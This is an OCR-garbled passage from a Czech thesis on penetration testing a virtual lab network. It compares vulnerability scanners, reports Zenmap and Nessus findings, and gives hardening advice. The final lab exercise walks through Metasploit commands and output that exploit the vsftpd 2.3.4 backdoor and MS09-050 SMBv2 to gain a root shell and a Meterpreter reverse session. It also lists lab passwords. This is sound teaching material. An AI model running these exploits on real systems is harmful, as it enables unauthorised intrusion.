LanGuard v porovnani s ostatnimi nastroji hodnotit jako nejhorsi.

Podle poc¢tu nalezenych zranitelnosti lze nastroje sefadit od nejlepsiho nasledovné:
Nexpose
Retina
Nessus
OpenVAS
GFI LanGuard

Nastroje Ize takto porovnavat pouze orienta¢né, protoze nelze hledét pouze na kvantitu

AR

nalezenych zranitelnosti. Pokud vSak dva néastroje nasly stejnou zranitelnost, je mozné
to povazovat za referencni udaj a ocekavat ho i od ostatnich ndstroji. V ramci tohoto
testovani urc¢ité nebyly prozkoumény vsSechny moznosti nastroji. Napriklad na stanicich
se systémem Windows pravdépodobné nebyly tispésné provedeny povérené testy. Je mozné,
ze potencial nékterého nastroje nebyl plné vyuzit.

Osobné hodnotim jako nejlepsi nastroj Nessus. Disponuje prehlednym uzivatelskym
prostredim, vysledky testu byly uspokojivé a generuje nejprehlednéjsi reporty. V nésle-
dujici kapitole budou prokazany velmi dobré vysledky pii lépe nastavenych podminkach

pro testovani.
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6 PENETRACNI TEST LABORATORNI SITE

V této kapitole je popsan penetracni test laboratorni sité. Realizovan byl externi i interni
test. Je nutno podotknout, Ze se test v ramci této prace nemuze rozsahem a propracovanosti
rovnat s profesionalnimi penetra¢nimi testy. Redlny test by jisté byl podrobnéjsi. Bézna

vvvvv

(routery, firewally, demilitarizované zény, VLAN atd.).

6.1 Popis laboratorni sité

Laboratorni sit, se kterou se pracovalo v kapitole 5 byla rozsifena o dva virtualni stroje
— Microsoft Windows Server 2008 a Metasploitable 2. Zamérné byla vybrana starsi verze
Windows server 2008 Service Pack 1, u niz se da predpokladat, ze bude obsahovat né-
jaké dnes znamé zranitelnosti. Dalsim divodem pro zaclenéni tohoto systému do sité byla
moznost vyuzit jej jako doménovy fadi¢ pro stanice s operacnim systémem Windows XP
a Windows 7 v siti. Vytvoreni domény umoznuje vyuzit funkéni povérené kontroly (creden-
tialed checks) systémt Windows prostfednictvim Nessusu. Pvodni stanice s Windows XP
Home byla nahrazend verzi Profesional a spolecné s Windows 7 byla pfifazena do domény
s nazvem lab.test. Pro spravnou funkcionalitu povérenych kontrol bylo provedeno nékolik
doporucenych tprav v Active Directory a Group Policy podle dokumentace Nessus [33].
Nessus provadi vzdédlené povérené testy stanic prostfednictvim sluzeb SMB a Windows
Management Instrumentation (WMI). Jednou ze zminénych tprav bylo povoleni téchto
sluzeb ve firewallu cilovych stanic pomoci skupinovych politik Windows.

Povérené kontroly unixovych systému Debian, FreeBSD a Metasploitable probihaji po-
moci protokolu SSH a vyzaduji ti¢et na vsech stanicich se stejnymi piihlasovacimi idaji. Na
vSech stanicich bylo proto nastaveno stejné heslo pro uzivatele root, a to t00r123. V sys-
tému FreeBSD muselo byt navic povoleno vzdalené piihlasovani pres SSH jako uzivatel

root.

Tab. 6.1: Prehled stanic v siti pro penetra¢ni test

Operacni systém IP adresa
Debian 7.7.0 "Wheezy"netinst 192.168.2.1/24 & 10.10.10.1/24
Windows server 2008 Enetrprise SP 1 | 192.168.2.2/24
Debian 7.7.0 "Wheezy" 192.168.2.100/24
FreeBSD 10.0 192.168.2.110/24
Ubuntu 13.10 192.168.2.120/24
Windows XP Professional SP3 192.168.2.130/24
Windows 7 Professional SP 1 192.168.2.140/24
Ubuntu 8.4 "Hardy'(Metasploitable) | 192.168.2.150/24
Kali Linux 1.09 10.10.10.10/24 nebo 192.168.2.200/24
Windows 7 Professional SP 1 10.10.10.20/24 nebo 192.168.2.210/24
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Metasploitable 2

Byl navrzen pro testovani bezpec¢nostnich nastroju a demonstraci nékolika zranitelnosti.
Jednd se o zamérné zranitelny systém Ubuntu Linux, ktery je volné k dispozici jako vir-
tualni stroj (soubor .vinx). Za vytvorenim stoji Rapid7 Metasploit tym, takze se tento
systém hodi pro testovani pravé pomoci Metasploitu.

Metasploitable 2 by mél podle dokumentace [17] obsahovat 30 otevienych TCP porti.
Je zde obsazeno napiiklad nékolik starsich verzi sluzeb, které obsahovaly néjaké zadni
vratka (backdoor). Déle nékolik $patnych konfiguraci a snadno prolomitelnych hesel, které
délaji systém zranitelnym. Navic je predinstalovano celkem 6 zranitelnych webovych apli-
kaci uréenych pro testovani a demonstraci znamych slabin:

« Mutillidae (NOWASP Mutillidae 2.1.19),

e DVWA (Damn Vulnerable Web Application),

e phpMyAdmin,

« Tikiwiki (TWiki),

o Tikiwiki-old,

o Dav (WebDav).

6.2 Externi test

Veskeré testy budou v tomto pripadé smérovany na adresu 10.10.10.1. Tato adresa je
nastavena na hrani¢nim prvku Debian-NAT na rozhrani do vnéjsi sité 10.10.10.0/24. Déle

uz nasleduje struény popis postupu testu a ziskanych vysledki.
6.2.1 Sbér informaci

Dmitry

Pro tvodni sbér informaci byl vyuzit nastroj Dmitry. Z vysledného vypisu jsou nize vy-

psany nejuzite¢néjsi informace.

ERROR: Unable to locate Host Name for 10.10.10.1
HostIP:10.10.10.1
Gathered TCP Port information for 10.10.10.1

Port State

21/tcp open

>> 220 Welcome to blah FTP service.
22/tcp open

>> SSH-2.0-0penSSH_6.0pl1 Debian-4+deb7u2
23/tcp open

>> SSH-2.0-0OpenSSH_6.4_hpni3vll FreeBSD-20131111
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80/tcp open

Portscan Finished: Scanned 150 ports, 69 ports were in state closed

Byly zjistény ¢tyti oteviené TCP porty - 21 pro FTP, 22 pro SSH, 23 pro telnet a 80
pro HTTP. Naopak porty 115 a 8080 nebyly odhaleny. Diky zobrazenym bannertm ziska-
vame snadno informace, Ze na portu 22 i 23 bézi sluzby SSH prostrednictvim OpenSSH
(verze 6.0 a 6.4). Navic je tu i informace o hostujicim systému pro sluzby (Debian a Fre-
eBSD). Tyto bannery zbytetné podévaji piipadnému utoc¢nikovi uziteéné informace, coz
je mozné povazovat za zranitelnost.

Informace z databazi whois a netcraft nebyly ziskany. To je dano tim, Ze testovaci
pocita¢ v laboratorni siti nemd pristup k internetu. Déale testovany cil neni soucasti inter-
netu, nema zadné doménové jméno a jednd se o privatni adresu. Pri zjisfovani informaci

o skute¢né doméné ¢i IP adrese v internetu mé pouzit{ nastroje Dmitry vétsi smysl.

Zenmap

Pro dalsi sbér informaci bylo vyuzito nastroje Zenmap. Testovaci proces trval 1 hodinu
a 34 minut. Nastroj odhalil vSechny porty, které jsou z vnéjsi sité pristupné — 21, 22,
23, 80, 8080, 115. Dale nékolik dalsich informaci. Ve shrnuti byly ziskdany predevsim tyto
informace:

e vSechny pristupné porty,

e bézici sluzby a presné verze jejich aplikaci,

o vypis obsahu slozky FTP serveru (port 115) diky anonymnimu pfihléseni,

e SSH hostkeys,

o u webovych serveru také http metody (POST, OPTIONS, GET, ...) a http titulky

webovych stranek,
e priblizny odhad opera¢niho systému — Linux s jadrem 3.X,
e MAC adresa cilového systému, uptime, sitova vzdélenost,

o upozornéni na potencidlné rizikovou http metodu TRACE (port 8080)

6.2.2 FAaze odhalovani zranitelnosti

Pro tento tcel byl zvolen Nessus Home verze 6.2.1. Pri externim testu byl proveden pouze
nepovéreny (black-box) test. Povéfeny test, ktery obnasi vzdalené prihlaseni do systému
je iz bezpecnostniho hlediska lepsi provadét z vnitini strany sité.

Test byl proveden s témito nastavenimi:

« Sablona testu — Basic Network Scan,

e rozsah portti — 1-65535,

e Scan for all web vulnerabilities (complex),

e cil testu 10.10.10.1.
Kompletni report s vysledky generovany Nessusem je k dispozici na prilozeném CD. Nahled
na vysledek testu je na obrazku 6.1. Bylo odhaleno celkem 9 zranitelnosti, z nichz nékteré

se se vyskytuji dvakrat, a také 22 informaci o cilové stanici. Nékteré zranitelnosti, které
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byly odhaleny v predchozi kapitole se pochopitelné opakuji i v tomto testu. Zejména ty

pochazejici ze stanic Debian a FreeBSD, protoze jejich nastaveni kromé zmény hesla k

Uctu root se nezmeénila.

Nessus upozornuje na nepodporovany systém FreeBSD, pricemz stavajici verze 10.0
byla vydana v lednu 2014 a podpora skoncila 2.3.2015. Doporucena je novéjsi verze
10.1 z listopadu 2014.

Na portech 22 a 23 je mozné se pripojit prostfednictvim SSH ke stanici pomoci uctu
user a hesla user.

Udajné je diky zranitelnosti TCP /IP Initial Sequence Number (ISN) Reuse Weakness
mozné sestavit se stanici podvrhnuté spojeni.

Na portu 115 bézi FTP server, na kterém je povoleno anonymni piihlasovani.
Povolend metoda HTTP TRACE / TRACK Methods Allowed na webovém serveru
(port 8080) muze umoznit ttoky Cross-site scripting.

Je povoleno predavani IP paketi (IP Forwarding) pres tento sitovy prvek. V pripadé
firewallu ¢i routeru je tato funkce nutna.

Upozornéni na slabsi algoritmy v souvislosti s SSH. Riziko je vSak nizké, podle
Nessusu neni znadm zpusob zneuziti.

Upozornéni na slabinu FTP protokolu, kterou je posilani autentizac¢nich udaji jako

prosty text.

Za nejvaznéjsi slabinu lze povazovat vyskyt trivialniho hesla k aétu user. S vyuzitim

slovnikového ttoku mifeného na prihlasovaci idaje sluzby SSH je vysoka pravdépodobnost

uhodnuti hesla.

CRITICAL Unsupported Unix Operating System 1 Ip: 1010101

MAC: 00:0c:29:83:70:c6
[#35 FreeBSD 10.0
Start time:  Fri Apr 03 18:49:51 2015

ra

Default Password (user) for 'user' Account

TCR/IP Initial Sequence Number (ISN) Reuse Weakness 1 End time:  Fri Apr 03 19:24:57 2015
KB: Download
Anonymous FTP Enabled 1
Vulnerabilities
HTTP TRACE / TRACK Methods Allowed 1
® Info
FTP Supports Clear Text Authentication 2 ® Low
Medium
SSH Server CBC Mode Ciphers Enabled 2 ¢ -"'_g_h
® Critica

ra

S5H Weak MAC Algorithms Enabled

IP Forwarding Enabled 1

INFO Messus SYN scanner 6

Obr. 6.1: Externi test: prehled zranitelnosti
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6.2.3 Zneuziti zranitelnosti

Pomoci SSH klienta v Kali Linux bylo ovéfeno ptihlaseni ke dvéma riznym systémiim

jako standartni uzivatel ,user®“ pod heslem ,user“. Na portu 22 lze ziskat vzdaleny pristup

ke stanici Debian a naportu 23 ke stanici FreeBSD jako standartni uzivatel. Tim byl ziskan
vzdalené pristup do lokélni sité 192.168.2.0/24.

Nebyly zjistény moznosti zneuziti zbyvajicich zranitelnosti.

6.2.4 Doporuceni pro zlepseni bezpecnosti

Misto reportu, ve kterém by se opakovaly informace z predchozich podkapitol zde budou

popsany opatfeni. Tato opatfeni by méla eliminovat vétsinu nalezenych zranitelnosti:

Je potfeba udrzovat stale aktualni a zaplatovany software.

Méla by byt dodrzovana pravidla pro vytvafeni silnych pfistupovych hesel.

FTP protokol by mohl byt nahrazen bezpecnéjsimi variantami SFTP nebo FTPS.
Anonymni prihlasovani k FTP serveru nemusi byt aktivovano, pokud to neni ne-
zbytné nutné.

Webové servery mohou byt ve vychozim nastaveni zranitelné vi¢i riznym hrozbam.
Naptiklad metoda HTTP TRACE/TRACK na Apache 2.4.6 by méla byt zakazana,
pokud neni nezbytna pro spravny béh aplikace.

Pokud jsou k dispozici rizna vylepsSeni sluzeb z hlediska bezpecnosti, jako napiiklad

pokrocilejsi sifrovaci mechanismy SSH, mély by byt implementovany.

44



6.3 Interni test

Cile testti jsou omezeny na rozsah adres 192.168.2.1-150, aby nebyly zbytecné podrobeny

testim i samotné testovaci stanice.

6.3.1 Sbér informaci
Zenmap

Za 14 minut byly spravné odhaleny vSechny spusténé stanice v pozadovaném rozsahu.
7 dlouhého vypisu byly zpracovany informace o odhalenych portech do tabulky 6.2. Jsou
zde uvedeny i ndzvy sluzeb tak, jak je uvedeno ve vypisu. U stanice Debian-NAT (192.168.2.1)
jsou nalezené porty filtrované, u ostatnich stanic jsou oteviené. Stanice Metasploitable
(192.168.2.150) méa podle oc¢ekavani mnoho otevienych porti s ruznymi sluzbami. Stanice
Ubuntu (192.168.2.120) nemd zadné oteviené porty a Zenmapu se nepodafilo identifikovat
operacni systém. Vsechny zjisténé stanice jsou vzdaleny 1 preskok od testovaciho pocitace,

takze mezi stanicemi v dané podsiti neni router.

Tab. 6.2: Zenmap: informace o zjisténych portech ve vnitini siti

IP stanice (ON) TCP porty Sluzby

192.168.2.1 — 21, 22, 23, 80, ftp, ssh, telnet, http,
115, 8080 sftp, http-proxy

192.168.2.2 MS Windows 2008| 53, 88,135, 139, 389, domain, kerberos-sec,

Phone|Vista|7 445, 464, 593, 636,

3268, 3269, 5722,

49158, 49164

49154, 49155, 49157,

msrpc, netbios-ssn, ldap,
microsoft-ds, kpassword5?,

ncacn__http, tcpwraped

192.168.2.100 Linux 3.X 21, 22, 80, 111, 139

445, 901, 58806

ftp, ssh, http, rcpbind,
netbios-ssn, http, status

192.168.2.110 FreeBSD 9.X]10.X 21, 22, 80 ftp, ssh, http

192.168.2.120 — — —

192.168.2.130 | MS Windows 2000|XP 139, 445 msrpc, netbios-ssn

192.168.2.140 MS Windows 2008| 135, 139, 445, msrpc, netbios-ssn
7|Phone|Vista 49154

192.168.2.150 Linux 2.6.X 21, 22, 23, 25, 53,
80, 111, 139, 445,
512, 513, 514, 1099,
1524, 2049, 2121,
3306, 3632, 5432,
5900, 6000, 6667,
6697, 8009, 81180,
8787, 38949, 41164,

46040, 52447

ftp, ssh, telnet?, smtp?,
domain, http, rcpbind,
netbios-ssn, exec?,
login?, shell?, java-rmi,
java-rmi, shell, nfs,
ccproxy-ftp?, mysql?,
distced, postgresql, vnc,
X11, irc, ajpl3?,
unkown, drb, mountd,

nlockmgr, status
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Verze a dalsi informace ohledné SSH, FTP a Apache serverii na Debian a FreeBSD
byly zjistény stejné jako u vnéjsiho testu (viz kap. 6.2.1), nebot se jednd o tytéz servery.
Zejména diky protokolu SMB ziskal Zenmap tyto informace navic:

e presné verze operacnich systému Windows,

e NetBIOS nazvy stanic,

¢ nazev domény lab.test nebo pracovni skupiny WORKGROUP,

e verze Samby na Unix systémech.

6.3.2 FAaze odhalovani zranitelnosti

Nejprve byla sit otestovana ve smyslu black-box testd bez povérovacich idaji. Nasledné
byl pro detailnéjsi zjisténi stavu stanic proveden povéreny test. Nastaveni testu je stejné
jako v pripadé externiho testu (str. 42), avSak navic byly v sekci Credentials nastaveny
nasledujici udaje:
e SSH — Authentication method: Password, Username: root, Password: t00r123, Ele-
vate privileges with: nothing;
e Windows — Authentication method: Password, Username: spravce, Password:
Hesl0123/, Domain: 1lab.test. Ostatni moznosti ponechany.
Pocty nalezenych zranitelnosti obou typu testt jsou kvili prehlednosti zaznamenany
v tabulce 6.3 a vykresleny v grafu na obrazku 6.2. Ve zminéném grafu jsou vykresleny
pro kazdou stanici dva sloupce. Prvni vzdy znamena vysledky nepovéreného a druhy po-
véreného testu. V grafu nejsou zaznamenany hojné nalezy typu Info, protoze by se graf

stal neprehlednym.

Tab. 6.3: Pocty nalezenych zranitelnosti ve vnitrni siti

Severity _ Medium| Low [ Info | Total
Debian-NAT 0 0 0 0 4 4
credentialed scan 0 0 0 0 4 4
Windows 2008 2 0 1 0 24 27
credentialed scan 8 35 14 1 77 135
Debian 0 1 2 3 38 44
credentialed scan 4 18 14 5 51 92
FreeBSD 1 2 2 3 20 28
credentialed scan 1 1 4 3 30 39
Ubuntu 0 0 0 0 8 8
credentialed scan 0 0 0 0 8 8
Windows XP 3 0 2 0 16 21
credentialed scan 8 80 21 1 53 163
Windows 7 1 0 1 0 17 19
credentialed scan 2 1 1 0 53 57
Metasploitable 7 20 6 74 114
credentialed scan 9 26 61 9 84 189
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Obr. 6.2: Graficky prehled nalezenych zranitelnosti

V této praci neni prostor, aby zde byly vSechny nalezené zranitelnosti uvedeny a po-
psany, protoze jich bylo nalezeno velké mnozstvi. Kompletni reporty jsou k nahlédnuti na

prilozeném CD.

Diskuze vysledku

Na stanici Debian-INAT byly z vnitini sité zjistény pouze 4 informac¢ni zdznamy pro oba
typy testu. To je zpusobeno tim, Ze tato stanice neméa zadné oteviené porty, jelikoz vy-
konava pouze funkci firewallu a prekladu adres. Stejné je tomu i u Ubuntu, kde rovnéz
nebézi zadné sitové sluzby, které by mohly obsahovat néjakou zranitelnost. Na téchto dvou
stanicich test s povérovacimi tdaji prakticky neprobéhl, proto jsou vysledky obou typu
testu stejné. Aby mohl povéreny test probéhnout spravné, musel by na obou stanicich exis-
tovat Ucet root s heslem t00r123, a zaroven bézet SSH server, coz u téchto stanic nebylo
potieba.

U vétsiny ostatnich stanic je pocet nalezenych informaci a predevsim zranitelnosti
mnohem vyssi. Povéreny test odhalil podle o¢ekavani i nékolikandsobné vice zranitelnosti,
protoze se k nim prakticky pri¢itaji zranitelnosti dané chybéjicimi bezpecnostnimi zapla-
tami systémil.

Nejvice rizikovymi stanicemi jsou podle ocekavani Windows Server 2008, Windows

XP a Metasploitable, kde chybi fada kritickych aktualizaci, ale je tu i nékolik Spatnych
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nastaveni. Casto se tu vyskytuji zranitelnosti v souvislosti s protokolem SMB. Pfikladem
mohou byt zranitelnosti, které jsou popsané a zneuzité v nasledujici kapitole 7.

Stanice Debian a FreeBSD obsahuji zranitelnosti, které souvisi s poskytovanymi
sluzbami FTP, SSH a webového serveru. Jedna se o vétSinou totozné zranitelnosti, které
byly odhaleny pfi internim testu (kap. 6.2.2). Zvlasté povéreny test objevil mnoho zrani-
telnosti tvorené absenci bezpecnostnich zaplat, které se tykaji napiiklad samby, riznych
knihoven, balicku wget, VLC piehravace, krb5 (Kerberos) apod. Podle po¢tu nalezenych
zranitelnosti lze FreeBSD povazovat za bezpecnéjsi systém nez Debian.

Na stanici Metasploitable bylo identifikovano nékolik zranitelnosti webovych aplikaci.
Mezi nimi nechybi naptiklad zranitelnost verze PHP5-cgi balicku, nachylnost na cross-site
scripting, Cookie a HTML ttoky apod.

Windows 7 obsahuje mnohem méné zranitelnosti oproti XP a Server 2008, ovSem i tak
obsahuje 2 kritické zranitelnosti. U systému Windows souviseji zranitelnosti ¢asto s SMB
sluzbou nebo DNS. Déle je spoustu rizik dano chybami obsazenych aplikaci jako naptiklad

Intenet Explorer, Sluzba zarazovani tisku, ActiveX, Windows Media Player apod.

Obecné vzato, v provedenych testech jsou zranitelnosti ve vétsiné pripadt zpusobeny:

e bezpecnostnimi dirami operac¢nich systémi,

e bezpecnostnimi dirami softwaru treti strany,

e Spatnym nastavenim sluzeb,

e slabymi pristupovymi hesly.

Nejcastéji lze diky obsazenym zranitelnostem vykonat libovolny kéd na vzdéalené sta-
nici, zajistit si pristup do systému, ziskat vyssi prava v ramci systému nebo zptsobit
pad systému. Rada téchto chyb je zneuzitelnd pomoci bézné dostupného software. Nessus
podéava informace o tom, je-li zranitelnost zneuzitelnd pomoci nastroju Metasploit, Core
Impact Pro nebo CANVAS.

6.3.3 Zneuziti zranitelnosti

V této fazi penetrac¢niho testu byly zneuzity pouze dvé zranitelnosti s kritickym rizikem.
Cilem tutoku se staly stanice Metasploitable a Windows server 2008. V prvnim piipadé
se jednalo o backdoor obsazeny v FTP serveru vsftpd a v druhém piipadé se jednalo
o chybu implementace SMBv2. Obé zranitelnosti byly zneuzity pomoci nastroje Metasploit
framework. Vysledkem bylo ziskdni vzdaleného pristupu k shellu piipadné prikazovému
radku, a tim padem kontroly nad systémy. Charakteristika zranitelnosti a postup napadeni

je popsan v nasledujici kapitole 7 jako laboratorni tiloha.

6.3.4 Doporuceni pro zlepseni bezpecnosti

I zde jsou na misté stejnd doporuceni zminéna v podkapitole 6.2.4. Lze pridat jesté dalsi

doporuceni navic.
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Servery FreeBSD a Debian by mély byt oddéleny od zbytku vnitini sité umisténim
do demilitarizované zony.

Nepodporovany systém Windows XP by mél byt nahrazen novéjsim.

Aktivaci vyzadovani podepisovani na SMB serveru (SMB signing) by mélo byt zne-

moznéno provadét itoky Man-in-the-middle proti SMB serveru.
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7 LABORATORNI ULOHA: ZNEUZITI ZRANITELNOSTI

Cilem tlohy je zneuzit dvé zndmé zranitelnosti obsazené na dvou stanicich v siti. Vysled-
kem je ziskan{ neopravnéného pristupu k napadenému systému. Prvni zranitelnost se tyka
FTP serveru Vsftpd, druha byla obsazena ve Windows Server 2008 a Vista.

7.1 Teoreticky tivod

Nasleduje stru¢ny popis zranitelnosti, které budou v ramci dlohy zneuzity. Zde uvedené
nazvy zranitelnosti nejsou oficidlni, ale jsou tak uvedeny v databazich skeneru zranitelnosti

Nessus.

7.1.1 Vsftpd Smiley Face Backdoor

Populérni FTP server Vsftpd verze 2.3.4 obsahoval backdoor (zadni vratka), ktery se poda-
il nezndmému zaskodnikovi pripojit ke zdrojovému kédu aplikace. Této chyby bylo mozné
zneuzit pro ziskani vzdaleného pristupu k shellu hostitelské stanice doty¢ného serveru.

Backdoor se aktivuje pii pokusu o prihlaseni k serveru s uzivatelskym jménem obsa-
hujicim smajlika ,:)“. Samotny shell pak naslouchd na TCP portu 6200. Zranitelnost lze
zneuzit pomoci telnetu a Metasploitu.

« rizikovy faktor: kriticky

e CVSS Base Score: 10.0

o Bugtraq ID: 48539

7.1.2 MS09-050: Microsoft Windows SMB2 Smb2ValidateProvider Call-
back() Vulnerability (975497)

Tuto zranitelnost obsahovala implementace SMBv2 protokolu ve Windows Server 2008
a Windows Vista. Zneuzitim této chyby muze ttoénik vykonat libovolny kéd nebo zpusobit
pad systému, pokud Utocnik posle na server specialni SMB paket. Zranitelnost lze zneuzit
pomoci Metasploitu. Napraveni této zranitelnosti resi instalace bezpec¢nostnich zaplat.

« rizikovy faktor: kriticky

e CVSS Base Score: 10.0

« CVE ID: CVE-2009-3103
Bugtraq ID: 36299

7.2 Popis pracovisté

Vsechny pracovni stanice, které budou vyuzity bézi na virtualiza¢ni platformé VMware
ESXi, kterd je nainstalovana na jednom fyzickém serveru s IP adresou 192.168.1.163.
Virtualni stanice jsou propojeny virtualnim switchem a mohou mezi sebou komunikovat.

Administrace virtudlnich stanic a pristup do nich je mozny pomoci programu VMware
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vSphere Client (obr. 7.1). V levém okné je seznam vsech virtuélnich stanic, zelend Sipka

znaci, ze jsou spusténé.

rr 192.168.1.163 - ¥Sphere Client
Fle Edit wiew Inventory Administration Plug-ins Help
B |@ Home b gf] Invertory [ Eﬁ Ireeenbory
.
& &
= [ [192.168.1,163 localhost.localdomain ¥Mware ESXi, 5.5.0, 2068190
=] pentest = = | oo
@ @ ek Gekting Starte Virtual Machines ' Resource Allocation ' Petformance ' Configuration - Local User: Ewents
eblan
O Debian-uaT General Resources
T3 FreeBSD
3 Metasploitable Manufactursr: 1BM CPU usage; 3196 MHz Capacity
% :Je“:ETTSt—W'”T Modsl: System ¥3550 Mz [7o4euy,,, || SO B % 2,266 GHz
est-Kal-vm
[ Ubuntu CPU Cores: 8 CPUs x 2,266 GHz Memary usage: 32916,00 MB Capacity
G win7 Processor Type: Intel(R) xean(R) CPU bl b 49140,46 MB
L5520 @ 2.27GH;
(T3 'Win server 2008 . @ ‘ . ; ;
{3 Win %P Profesional Heenze: mzv;:e\;s&l:azreﬁ Zi};';tlircvplsm Storage + | Drive Type Capacity |
{51 Windows ¥P Home Editio phy: @ datastarel Hon-550 400,50 GB &
Processor Sockets: z
Cores per Socket: 4 4 I I _’I
Logical Processors: 16 Metworl | Twpe |
Hyperthreading: Active & External network Standard part group
Humber of NICs: 3 & Internal network. sStandard port group
State: Connected & Mato netwark sStandard port group
virtual Machines and Templates: 16 A | | _'I
wMotion Enablad: MiA
4 | _»I Wiware EVC Mode: Disabled | Fault Tolerance ] ;I

Obr. 7.1: Okno vSphere Client

Prejit do libovolného systému je mozné po oznaceni stanice a volbou Open Console
v hornim ovlddacim fadku vSphere Client. Pro prepinani zobrazeni virtualniho systému
na celou obrazovku slouzi klavesova zkratka Ctrl+Alt+Enter.

Stanice potrebné pro tuto tlohu jsou s dal$imi informacemi uvedeny v nize uvedené

tabulce.
Tab. 7.1: Informace o stanicich
Operacni systém Nézev Vi.rtuélni IP adresa Pfililhaéovaci udaje
stanice (uzivatel-heslo)
Kali Linux test-Kali-vm 192.168.2.200 root—toor
Ubuntu Metasploitable | 192.168.1.150 | msfadmin—-msfadmin
Windows server 2008 | Win server 2008 | 192.168.2.2 spravce—Heslo1234/

Stanice se systémem Ubuntu nazvana Metasploitable obsahuje zranitelnou verzi serveru

Vsftpd, ktery naslouchd na portu 21.

7.3 Postup pro vypracovani

¢ Spustte vSphere Client, prihlaste se serveru a zorientujte se v prostiedi.

e Zkontrolujte, zda jsou spusténé vsechny tfi potiebné stanice. Nejsou-li, spustte je.
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7.3.1 Zneuziti systému Ubuntu

o Prepnéte se do systému Kali Linux. Pokud je vypnuty, spusfte jej a prihlaste se jako

uzivatel root s heslem toor.

e Sputte prikazovy terminal a ovérte, ze FTP server nasloucha. Pokud ano, objevi se

vyzva pro prihlaseni, ale neprihlasujte se. Odejdéte kombinaci Ctrl+C.

root@kali:~# ftp 192.168.2.150

o Spustte Metasploit framework konzoli.

rootQ@kali:~# msfconsole

« Ze je nastroj pfipraven k pouziti signalizuje zména promptu na msf >

Dale je tfeba vybrat prislusny modul pro cilovou zranitelnost.

msf > use exploit/unix/ftp/vsftpd_234_backdoor

« Nastavte cilovou stanici pro itok.

msf exploit(vsftpd_234_backdoor) > set rhost 192.168.2.150

e Zkontrolujte pozadovana nastaveni modulu.

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
RHOST 192.168.2.150 yes The target address
RPORT 21 yes The target port

Exploit target:
Id Name

0 Automatic

o Je vidét, ze je zde nutné nastavit pouze cilovou stanici, pricemz port 21 jiz je pred-

nastaven. Pokud je vse potfebné zadano, spustte zneuziti chyby.

msf exploit(vsftpd_234_backdoor) > exploit
[*] Banner: 220 (vsFTPd 2.3.4)
[x] USER: 331 Please specify the password.

[+] Backdoor service has been spawned, handling...
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[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.2.200:54758 ->
192.168.2.150:6200) at 2015-04-11 17:37:24 +0200

e Tento vypis informuje, ze se proces zdaril. Nyni je pristupny shell vzdalené stanice
Metasploitable, ovSsem nezobrazuje se zde prompt, jak byva zvykem pii praci v ter-
minélu.

e Ovéfte si, ze mate pristup ke stanici napt. pomoci nasledujicich piikaz:

whoami

root

pwd

/

id

uid=0(root) gid=0(root)

ifconfig

ethO Link encap:Ethernet HWaddr 00:0c:29:13:9a:39
inet addr:192.168.2.150 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fel3:9a39/64 Scope:Link

e V této chvili mate ze systému Kali Linux pfistup do systému Ubuntu jako privile-
govany uzivatel root.

o Ukoncit spojeni lze prikazem exit a stejné tak i Metasploit konzoli. Pro navrat z
modulu msf exploit(vsftpd_234_backdoor) zpét do konzole Metasploitu slouzi
piikaz back.

e Pokud se nepodarilo navazat spojeni, vyzkousejte zadat prikaz exploit popr. rexploit
znovu. Pokud to nepomiize, odejdéte z modulu a nactéte jej znova nebo restartujte
Metasploit.

7.3.2 Zneuziti systému Windows server 2008

e Spustte Metasploit konzoli stejné jako u predchozi ilohy.

e Zvolte prislusny modul.

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

« Nastavte cilovou stanici a zobrazte nastaveni, ktera jsou preddefinovana.

msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 192.168.2.2

msf exploit(ms09_050_smb2_negotiate_func_index) > show options

53



Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

Name Current Setting Required Description

RHOST 192.168.2.2 yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (accepted: seh,
LHOST 192.168.2.200 yes The listen address

LPORT 4444 yes The listen port

Exploit target:
Id Name

0 Windows Vista SP1/SP2 and Server 2008 (x86)

o Zahajte zneuziti.

msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
[*] Started reverse handler on 192.168.2.200:4444
[*] Connecting to the target (192.168.2.2:445)...
[*] Sending the exploit packet (869 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (770048 bytes) to 192.168.2.2
[*] Meterpreter session 2 opened (192.168.2.200:4444
-> 192.168.2.2:57491) at 2015-04-11 19:21:17 +0200

« Daéle mohou nastat tii situace.

— Utok probéhne tspésné, spusti se meterpreter, pomoci kterého lze ovladat
vzdalenou stanici. Viz vyse uvedeny vypis.

— Spojeni se nedari vytvorit. V tom pripadé se prepnéte piimo do systému Win-
dows server a restartujte jej. Bud vyuzijte volby Restart Guest (zeleno-cervené
sipky) ve vSphere Client nebo se piihlaste do systému a restartujte ve Windows.
Po restartu by mél atok témér jisté fungovat.

— Utok zptisobi pad systému. V tomto p¥ipadé systém zobrazi na uréity ¢as ,,blue

screen® (obr. 7.2) a nésledné se sdm restartuje. Po restartu systému by se mélo
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vytvoreni spojeni podarit.

= has been shut down to pr nt damage

echhnical information:

I00007E (O ZEBAZSD,

srvhet.sys - Address S9ZEBAZSD bhase at 92EB3

Eedinning o
Dumping phy

Obr. 7.2: Pad systému Windows server 2008

o Po tspésném spojeni si vypiste ndpovédu pro meterpreter (znak ,,7“) a prostudujte
dostupné piikazy.

e Vypiste si napiiklad informace o vzdileném systému piikazem.

e Poridte screenshot obrazovky vzdéleného systému a prohlédnéte si jej v lokalnim
pocitaci.

e Prepnéte se do prikazového radku Windows.

meterpreter > shell
Process 3480 created.
Channel 1 created.

Microsoft Windows [Version 6.0.6001]

Copyright (c) 2006 Microsoft Corporation. All rights reserved.

e Zobrazte si napriklad sitovou konfiguraci.

C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::55ee:35d0:2e58:5a847%10
IPv4 Address. . . . . . . . . . . :192.168.2.2

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.2.1

o Ukoncete prikazovy fadek pomoci exit a stejné tak i spojeni mezi Kali Linux a Win-

dows serverem.
